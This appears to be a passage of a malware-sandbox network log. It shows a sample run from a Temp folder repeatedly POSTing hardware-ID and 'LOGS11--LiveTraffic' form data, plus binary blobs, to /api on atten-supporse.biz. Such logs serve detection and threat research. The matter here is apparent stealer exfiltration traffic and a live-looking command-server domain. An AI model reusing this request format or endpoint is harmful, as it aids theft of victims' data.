2024-12-09 22:09:19 UTC	1369	IN	Data Raw: 41 56 4e 4f 76 38 52 62 6d 47 4f 72 66 61 46 70 56 4a 45 43 57 67 42 4d 49 45 38 6b 52 55 4a 4b 46 53 42 79 74 6b 6d 36 77 7a 2b 46 56 79 71 37 31 50 6f 64 52 71 2f 50 49 57 6c 30 55 56 50 75 38 2b 6a 78 47 7a 58 68 51 6b 70 78 68 51 59 57 69 54 6f 6a 62 7a 57 6a 48 74 39 6c 71 35 68 6a 53 78 31 41 47 42 52 78 63 69 72 68 62 46 41 50 74 45 58 53 69 69 58 51 38 6c 49 4e 6a 68 4d 75 41 56 61 71 58 63 52 62 4b 59 4f 4b 76 52 55 35 67 4d 41 47 69 71 43 49 39 57 76 55 4e 56 4a 36 70 63 42 69 39 6b 6d 71 63 37 39 56 6f 30 37 2f 31 50 73 35 77 36 76 64 77 59 69 45 49 63 4a 61 6b 43 77 77 2f 34 42 78 70 6a 72 45 42 49 65 53 43 34 70 6a 62 71 46 77 66 6d 38 30 61 2b 67 6e 4b 6a 6e 77 72 48 52 52 56 6f 39 55 54 42 43 2f 4a 56 56 54 47 75 56 68 6f 74 5a 5a 43 73 4e Data Ascii: AVNOv8RbmGOrfaFpVJECWgBMIE8kRUJKFSBytkm6wz+FVyq71PodRq/PIWl0UVPu8+jxGzXhQkpxhQYWiTojbzWjHt9lq5hjSx1AGBRxcirhbFAPtEXSiiXQ8lINjhMuAVaqXcRbKYOKvRU5gMAGiqCI9WvUNVJ6pcBi9kmqc79Vo07/1Ps5w6vdwYiEIcJakCww/4BxpjrEBIeSC4pjbqFwfm80a+gnKjnwrHRRVo9UTBC/JVVTGuVhotZZCsN
2024-12-09 22:09:19 UTC	1369	IN	Data Raw: 6d 38 30 61 2b 67 6e 4b 6a 6e 77 72 48 52 52 56 6f 39 55 54 43 42 76 68 43 57 79 4b 68 56 67 30 72 62 4a 36 76 4e 75 70 61 4e 75 58 78 51 4c 4f 5a 50 4c 6a 5a 47 6f 78 4a 48 79 69 73 44 6f 39 41 76 55 42 4d 59 2f 4d 59 50 43 5a 73 6d 36 35 33 7a 56 59 38 36 2f 70 65 2b 59 74 38 70 5a 45 55 69 77 4a 42 61 4b 45 4e 7a 77 58 33 51 31 51 6b 70 6c 30 4c 4a 6d 4f 62 70 6a 2f 32 55 6a 62 70 39 45 57 2f 6c 44 57 34 31 41 47 43 53 78 55 6b 37 55 71 50 43 65 55 48 44 47 4f 45 58 78 34 69 54 35 57 77 50 4c 68 4b 66 50 79 39 54 37 58 55 61 76 7a 57 46 6f 39 4a 48 79 43 74 46 73 6f 41 39 6b 5a 65 4a 61 70 56 42 43 64 67 6c 36 45 7a 39 46 55 31 34 75 39 61 76 4a 49 67 74 70 46 64 78 30 55 42 61 50 56 45 2b 52 37 71 56 6b 4a 68 6e 6c 73 47 4c 32 65 41 34 53 71 32 54 48 Data Ascii: m80a+gnKjnwrHRRVo9UTCBvhCWyKhVg0rbJ6vNupaNuXxQLOZPLjZGoxJHyisDo9AvUBMY/MYPCZsm653zVY86/pe+Yt8pZEUiwJBaKENzwX3Q1Qkpl0LJmObpj/2Ujbp9EW/lDW41AGCSxUk7UqPCeUHDGOEXx4iT5WwPLhKfPy9T7XUavzWFo9JHyCtFsoA9kZeJapVBCdgl6Ez9FU14u9avJIgtpFdx0UBaPVE+R7qVkJhnlsGL2eA4Sq2TH
2024-12-09 22:09:19 UTC	1369	IN	Data Raw: 73 34 59 36 73 74 77 59 69 45 6b 4c 4b 4b 41 41 77 77 72 31 54 46 35 6a 35 52 67 50 4f 53 44 4f 34 51 44 31 57 6a 4c 6d 36 77 69 6d 32 69 76 38 31 68 2f 48 47 6c 6b 6b 6f 77 54 41 41 76 46 4d 58 43 4b 6e 56 67 38 6b 61 5a 36 70 4a 2f 6c 52 4f 75 54 7a 52 37 69 51 4e 37 6e 56 46 49 4e 45 46 6d 6a 6a 52 4d 67 57 76 52 38 55 44 49 78 74 53 67 42 61 31 72 35 37 34 52 55 31 36 62 30 51 2b 5a 67 78 73 4e 6b 63 67 55 73 56 49 71 51 50 77 77 58 35 53 31 30 6d 72 56 6b 4e 4a 47 47 53 72 54 2f 2b 56 6a 48 71 38 6b 65 78 31 48 7a 38 31 67 76 48 47 6c 6b 4e 75 67 2f 42 43 4c 31 59 47 6a 72 72 58 77 52 68 4f 4e 61 74 50 50 35 54 4e 2b 6e 38 54 72 47 52 4f 72 6a 51 46 59 46 42 46 69 79 6f 42 63 41 4b 38 55 6c 65 49 71 70 55 41 79 35 72 6b 2b 46 37 75 46 49 71 70 61 55 Data Ascii: s4Y6stwYiEkLKKAAwwr1TF5j5RgPOSDO4QD1WjLm6wim2iv81h/HGlkkowTAAvFMXCKnVg8kaZ6pJ/lROuTzR7iQN7nVFINEFmjjRMgWvR8UDIxtSgBa1r574RU16b0Q+ZgxsNkcgUsVIqQPwwX5S10mrVkNJGGSrT/+VjHq8kex1Hz81gvHGlkNug/BCL1YGjrrXwRhONatPP5TN+n8TrGROrjQFYFBFiyoBcAK8UleIqpUAy5rk+F7uFIqpaU
2024-12-09 22:09:19 UTC	1369	IN	Data Raw: 72 76 55 47 49 68 4f 57 57 62 74 41 39 64 4f 70 51 64 36 4b 4c 68 50 43 79 39 72 67 4c 70 31 35 78 73 72 70 66 70 45 2b 63 78 79 76 39 6f 59 67 30 49 56 4b 4b 6b 4a 7a 78 7a 79 51 46 4d 71 6f 45 6f 43 4a 6d 65 64 71 54 37 33 55 79 44 70 38 31 71 38 68 69 44 38 6e 31 4f 41 57 6c 6c 77 37 54 4c 49 48 75 31 45 46 68 4b 39 57 78 34 71 62 5a 72 68 4b 72 5a 4d 63 75 4c 78 43 4f 48 55 4e 4c 50 59 45 49 68 44 45 43 53 67 41 63 59 4c 2f 45 46 51 4b 61 46 59 44 69 64 68 6b 36 73 32 2b 56 38 37 34 76 56 50 75 6f 5a 79 38 70 45 55 6e 77 4a 42 61 49 51 44 33 51 44 74 42 30 74 74 73 68 67 50 4c 53 44 4f 34 54 48 79 57 6a 62 69 38 55 36 38 6b 6a 2b 39 33 68 4b 48 54 52 30 6a 70 41 4c 4f 41 2f 68 4b 55 44 47 68 55 77 63 74 61 5a 71 73 64 62 59 56 4e 66 32 39 45 50 6d 6c Data Ascii: rvUGIhOWWbtA9dOpQd6KLhPCy9rgLp15xsrpfpE+cxyv9oYg0IVKKkJzxzyQFMqoEoCJmedqT73UyDp81q8hiD8n1OAWllw7TLIHu1EFhK9Wx4qbZrhKrZMcuLxCOHUNLPYEIhDECSgAcYL/EFQKaFYDidhk6s2+V874vVPuoZy8pEUnwJBaIQD3QDtB0ttshgPLSDO4THyWjbi8U68kj+93hKHTR0jpALOA/hKUDGhUwctaZqsdbYVNf29EPml
2024-12-09 22:09:19 UTC	1369	IN	Data Raw: 36 4e 55 42 4d 6a 71 41 6e 43 41 2f 35 42 55 69 69 6e 53 67 45 68 59 35 33 68 65 37 68 53 4b 71 57 6c 43 4a 71 44 4a 4c 62 57 48 35 46 4a 47 43 75 37 43 64 39 4f 73 77 64 46 4a 4c 6f 59 55 44 64 77 67 61 59 71 74 6b 78 79 34 76 45 49 34 64 51 30 74 64 63 55 67 55 77 4c 4c 61 73 4c 77 41 66 30 51 31 77 67 71 31 77 4d 4a 6d 57 56 72 54 37 2f 56 6a 33 68 39 45 61 77 6d 33 4c 79 6b 52 53 66 41 6b 46 6f 6a 42 2f 4d 41 76 41 48 53 32 32 79 47 41 38 74 49 4d 37 68 4f 66 5a 51 4d 75 2f 37 54 4c 79 53 4f 4c 6e 52 47 49 52 4e 48 53 36 70 43 38 38 46 39 45 5a 53 4a 71 46 54 44 69 78 6a 6b 4b 64 31 74 68 55 31 2f 62 30 51 2b 62 51 70 73 64 30 55 78 31 31 58 4d 65 30 44 77 30 36 6c 42 31 38 76 72 31 38 49 4c 47 4f 65 70 44 48 79 55 44 4c 74 37 30 43 35 6b 79 43 75 30 Data Ascii: 6NUBMjqAnCA/5BUiinSgEhY53he7hSKqWlCJqDJLbWH5FJGCu7Cd9OswdFJLoYUDdwgaYqtkxy4vEI4dQ0tdcUgUwLLasLwAf0Q1wgq1wMJmWVrT7/Vj3h9Eawm3LykRSfAkFojB/MAvAHS22yGA8tIM7hOfZQMu/7TLySOLnRGIRNHS6pC88F9EZSJqFTDixjkKd1thU1/b0Q+bQpsd0Ux11XMe0Dw06lB18vr18ILGOepDHyUDLt70C5kyCu0
2024-12-09 22:09:19 UTC	1369	IN	Data Raw: 42 61 4a 4e 45 33 51 33 74 52 46 73 79 6c 52 68 51 4f 46 37 57 71 69 50 2f 52 54 48 7a 39 6b 57 31 68 51 7a 38 69 55 66 56 45 45 74 36 2f 78 75 50 45 63 49 4a 46 43 4c 72 41 44 45 34 49 49 44 68 62 61 6f 62 63 76 65 39 45 50 6e 54 4d 61 37 44 46 59 52 55 47 6d 2b 54 4f 75 67 59 39 30 42 45 4a 4c 78 58 53 47 38 67 6d 65 46 74 77 52 55 37 34 75 5a 5a 72 35 6b 69 75 35 45 73 79 51 49 42 61 50 56 45 2b 67 33 7a 53 56 4d 31 75 68 55 76 4e 32 71 52 73 54 4c 76 57 6e 4b 72 76 55 37 35 7a 47 48 79 6b 52 65 57 41 6b 46 34 2f 31 2b 61 58 61 6f 58 42 6a 7a 6c 51 55 67 33 49 4d 37 7a 65 37 68 48 63 72 32 39 44 37 71 47 49 4c 72 53 42 59 51 46 4a 78 61 4b 48 73 49 49 36 6c 5a 71 48 61 78 43 42 53 64 33 68 2b 30 67 2b 31 73 38 34 75 73 49 39 39 51 39 2f 49 6b 71 78 77 Data Ascii: BaJNE3Q3tRFsylRhQOF7WqiP/RTHz9kW1hQz8iUfVEEt6/xuPEcIJFCLrADE4IIDhbaobcve9EPnTMa7DFYRUGm+TOugY90BEJLxXSG8gmeFtwRU74uZZr5kiu5EsyQIBaPVE+g3zSVM1uhUvN2qRsTLvWnKrvU75zGHykReWAkF4/1+aXaoXBjzlQUg3IM7ze7hHcr29D7qGILrSBYQFJxaKHsII6lZqHaxCBSd3h+0g+1s84usI99Q9/Ikqxw
2024-12-09 22:09:19 UTC	1369	IN	Data Raw: 58 4a 39 63 70 68 49 48 64 50 73 4b 46 32 39 35 31 72 64 31 6f 41 64 38 70 65 38 49 34 64 52 31 76 38 4d 42 67 55 45 50 4b 2b 6f 36 38 53 6e 7a 51 46 55 31 75 30 38 48 48 31 36 44 6f 6a 76 32 55 69 54 30 76 51 62 35 6d 33 4c 6b 36 46 50 50 41 69 5a 6d 37 52 79 50 56 72 31 79 56 79 32 6c 58 78 34 77 4c 62 47 76 4d 76 6c 44 49 76 4c 79 43 50 66 55 4e 50 79 4a 51 63 6b 43 48 54 6e 74 58 4a 39 63 70 68 49 48 64 50 73 4b 46 32 39 35 31 72 64 31 6f 41 64 38 70 65 38 49 34 64 52 31 76 38 4d 42 67 55 45 50 4b 2b 6f 36 38 53 6e 7a 51 46 55 31 75 30 38 48 62 6b 36 67 67 41 76 47 51 44 48 72 38 30 2b 76 68 58 4c 79 6b 52 7a 48 47 69 42 6f 35 55 54 77 51 4c 31 66 46 48 76 72 62 51 73 76 62 70 47 33 4a 4c 56 79 50 4f 4c 38 58 71 6d 44 50 66 50 2f 4a 61 59 43 56 32 69 Data Ascii: XJ9cphIHdPsKF2951rd1oAd8pe8I4dR1v8MBgUEPK+o68SnzQFU1u08HH16Dojv2UiT0vQb5m3Lk6FPPAiZm7RyPVr1yVy2lXx4wLbGvMvlDIvLyCPfUNPyJQckCHTntXJ9cphIHdPsKF2951rd1oAd8pe8I4dR1v8MBgUEPK+o68SnzQFU1u08Hbk6ggAvGQDHr80+vhXLykRzHGiBo5UTwQL1fFHvrbQsvbpG3JLVyPOL8XqmDPfP/JaYCV2i
2024-12-09 22:09:19 UTC	1369	IN	Data Raw: 76 70 35 61 67 36 35 58 78 67 69 49 71 65 33 4e 76 68 62 4e 61 57 7a 43 4b 48 55 61 76 7a 38 41 59 42 53 47 6d 6a 6a 52 4d 4e 4f 70 51 64 5a 4d 61 78 49 43 32 31 6e 6a 4b 5a 31 35 78 73 72 70 65 73 49 34 63 64 38 2f 4d 4e 54 33 77 4a 65 4a 71 41 46 7a 41 44 2b 56 55 59 6c 71 45 34 4c 5a 6c 36 6f 6a 43 66 2f 52 54 47 6e 7a 45 57 39 67 69 65 2f 77 52 53 35 66 44 51 36 71 68 54 4d 54 4e 46 41 57 53 2b 56 5a 6a 38 77 5a 34 62 6a 45 2f 74 44 4d 61 57 7a 43 4b 48 55 61 76 7a 38 41 59 42 53 47 6d 71 42 41 38 49 43 76 56 67 61 4f 75 74 4f 53 48 6b 7a 32 4f 45 6e 75 41 31 79 6f 76 35 61 71 35 49 78 71 74 4a 55 75 58 77 30 4f 71 6f 55 7a 45 7a 4d 53 6c 41 31 76 6c 73 59 4a 6c 36 6f 6a 43 66 2f 52 54 47 6e 32 48 4c 37 70 53 53 2f 30 52 32 41 41 6c 64 6f 74 55 53 58 Data Ascii: vp5ag65XxgiIqe3NvhbNaWzCKHUavz8AYBSGmjjRMNOpQdZMaxIC21njKZ15xsrpesI4cd8/MNT3wJeJqAFzAD+VUYlqE4LZl6ojCf/RTGnzEW9gie/wRS5fDQ6qhTMTNFAWS+VZj8wZ4bjE/tDMaWzCKHUavz8AYBSGmqBA8ICvVgaOutOSHkz2OEnuA1yov5aq5IxqtJUuXw0OqoUzEzMSlA1vlsYJl6ojCf/RTGn2HL7pSS/0R2AAldotUSX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49800	104.21.48.1	443	7872	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:20 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HZJYWUF0AI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18121 Host: atten-supporse.biz
2024-12-09 22:09:20 UTC	15331	OUT	Data Raw: 2d 2d 48 5a 4a 59 57 55 46 30 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 48 5a 4a 59 57 55 46 30 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 5a 4a 59 57 55 46 30 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 5a 4a 59 57 55 46 30 41 49 0d 0a 43 6f Data Ascii: --HZJYWUF0AIContent-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--HZJYWUF0AIContent-Disposition: form-data; name="pid"2--HZJYWUF0AIContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HZJYWUF0AICo
2024-12-09 22:09:20 UTC	2790	OUT	Data Raw: 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-12-09 22:09:21 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5nh5a5q4qfvam00h5ipvhpbdif; expires=Fri, 04-Apr-2025 15:56:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eNlfTZgl%2F7TO8s9BX7MIS%2BiR4Z4KiN0DX1uUKvyTHHqtQGKzrupG1cMVCydL5W%2BmI0ubixIGGHA8GJS1VkfGu%2Fv4onVcNBZgCtjNnNSZ0lR8JoEkEl0QxQIykJxfVdwYdobP1yk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef851a96d5df797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1682&rtt_var=635&sent=14&recv=22&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19077&delivery_rate=1717647&cwnd=151&unsent_bytes=0&cid=308227ffaf27bff5&ts=1013&x=0"
2024-12-09 22:09:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 22:09:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49806	104.21.48.1	443	7872	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:23 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YPGA8JS93XL7NS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8766 Host: atten-supporse.biz
2024-12-09 22:09:23 UTC	8766	OUT	Data Raw: 2d 2d 59 50 47 41 38 4a 53 39 33 58 4c 37 4e 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 59 50 47 41 38 4a 53 39 33 58 4c 37 4e 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 50 47 41 38 4a 53 39 33 58 4c 37 4e 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 59 50 Data Ascii: --YPGA8JS93XL7NSContent-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--YPGA8JS93XL7NSContent-Disposition: form-data; name="pid"2--YPGA8JS93XL7NSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--YP
2024-12-09 22:09:23 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o9hp7vdlltg06k2f788bkd7i1b; expires=Fri, 04-Apr-2025 15:56:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nq%2Bgr%2FxOKQViuUrjwmabIJSAOrfTXyZW5p7IQo8E%2B2vF3luX4pNt16yesGy5TqYWI%2BpQkmEW7a2bnexxAcaRMZ%2BIkMYLgRhsJRbCxG9XVW%2BpE6ONLrrH3Nu4GqUxFwMfsQlhUV8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef851b82d827ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&min_rtt=1819&rtt_var=687&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9703&delivery_rate=1587819&cwnd=179&unsent_bytes=0&cid=5ef581498ebdad46&ts=915&x=0"
2024-12-09 22:09:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 22:09:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49814	104.21.48.1	443	7872	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:25 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=85Y4Z2SP48LS6Y3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20425 Host: atten-supporse.biz
2024-12-09 22:09:25 UTC	15331	OUT	Data Raw: 2d 2d 38 35 59 34 5a 32 53 50 34 38 4c 53 36 59 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 38 35 59 34 5a 32 53 50 34 38 4c 53 36 59 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 38 35 59 34 5a 32 53 50 34 38 4c 53 36 59 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --85Y4Z2SP48LS6Y3Content-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--85Y4Z2SP48LS6Y3Content-Disposition: form-data; name="pid"3--85Y4Z2SP48LS6Y3Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-09 22:09:25 UTC	5094	OUT	Data Raw: 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-09 22:09:26 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4t82psopfhbavejrft4u49p0dq; expires=Fri, 04-Apr-2025 15:56:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JeHFOmEtybonN8ruih2equKEqCMirSEY04W2cwLfbriM2WMS7GMi4so1iZQiulv9P1K3TobGeaaCEseLQZLZ1BM9kAuWUjw15oU3657ke8V8MTojPF337epreu2gR1BIuAxqYLc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef851c808820cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1489&rtt_var=569&sent=9&recv=24&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21386&delivery_rate=1903520&cwnd=225&unsent_bytes=0&cid=fa460a372ffa728d&ts=916&x=0"
2024-12-09 22:09:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 22:09:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49821	104.21.48.1	443	7872	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:28 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9MPCDGALXAXSGI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1236 Host: atten-supporse.biz
2024-12-09 22:09:28 UTC	1236	OUT	Data Raw: 2d 2d 39 4d 50 43 44 47 41 4c 58 41 58 53 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 39 4d 50 43 44 47 41 4c 58 41 58 53 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 4d 50 43 44 47 41 4c 58 41 58 53 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 4d Data Ascii: --9MPCDGALXAXSGIContent-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--9MPCDGALXAXSGIContent-Disposition: form-data; name="pid"1--9MPCDGALXAXSGIContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--9M
